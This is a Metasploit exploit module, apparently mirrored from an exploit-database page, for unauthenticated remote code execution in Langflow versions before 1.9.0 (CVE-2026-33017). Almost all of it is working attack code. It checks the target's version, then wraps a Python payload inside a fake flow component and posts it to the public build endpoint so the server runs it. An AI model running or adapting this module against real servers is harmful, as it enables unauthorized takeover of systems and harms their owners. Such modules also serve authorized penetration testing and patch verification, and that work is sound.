## https://sploitus.com/exploit?id=PACKETSTORM:228366
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Unauth RCE',
'Description' => %q{
Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
/api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
HTTP requests to execute arbitrary code.
},
'Author' => [
'Richard Howe <rhowe425>', # Metasploit module
'Diamorphine' # Discovered vulnerability
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-33017'],
['EDB', '52627'],
['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-03-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
Opt::RPORT(7860)
]
)
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
doc = res.get_json_document
package = doc.is_a?(Hash) ? doc['package'] : nil
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
begin
version = Rex::Version.new(version_str)
rescue StandardError
return Exploit::CheckCode::Unknown('Failed to parse version.')
end
if version < Rex::Version.new('1.9.0')
Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
else
Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end
def exploit
flow_id = datastore['FLOW_ID']
fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id
# Randomize component identifiers
node_id = Rex::Text.rand_text_alpha(8)
component_display_name = Rex::Text.rand_text_alpha(5)
component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"
output_display_name = Rex::Text.rand_text_alpha(5)
output_name = Rex::Text.rand_text_alpha(5).downcase
output_method = Rex::Text.rand_text_alpha(5).downcase
# The payload is executed within the output method so it runs when the
# component vertex is invoked; the class definition allows Langflow to
# resolve the component vertex.
injected_code = "from lfx.custom.custom_component.component import Component\n" \
"from lfx.io import Output\n" \
"from lfx.schema.data import Data\n" \
"\n" \
"class #{component_name}(Component):\n" \
" display_name='#{component_display_name}'\n" \
" outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
" def #{output_method}(self)->Data:\n" \
" #{payload.encode.gsub("\n", "\n ")}\n" \
" return Data(data={})\n"
data = {
'data' => {
'nodes' => [
{
'id' => node_id,
'type' => 'genericNode',
'position' => {
'x' => 0,
'y' => 0
},
'data' => {
'id' => node_id,
'type' => component_name,
'node' => {
'template' => {
'code' => {
'type' => 'code',
'required' => true,
'show' => true,
'multiline' => true,
'value' => injected_code,
'name' => 'code',
'password' => false,
'advanced' => false,
'dynamic' => false
},
'_type' => 'Component'
},
'description' => component_display_name,
'base_classes' => ['Data'],
'display_name' => component_name,
'name' => component_name,
'frozen' => false,
'outputs' => [
{
'types' => ['Data'],
'selected' => 'Data',
'name' => output_name,
'display_name' => output_display_name,
'method' => output_method,
'value' => '__UNDEFINED__',
'cache' => true,
'allows_loop' => false,
'tool_mode' => false,
'hidden' => nil,
'required_inputs' => nil,
'group_outputs' => false
}
],
'field_order' => ['code'],
'beta' => false,
'edited' => false
}
}
}
],
'edges' => []
},
'inputs' => nil
}
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
'headers' => {
'Content-Type' => 'application/json'
},
'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
'data' => data.to_json
}
)
fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res
unless res.code.between?(200, 299)
fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
end
print_status('Payload sent successfully.')
end
end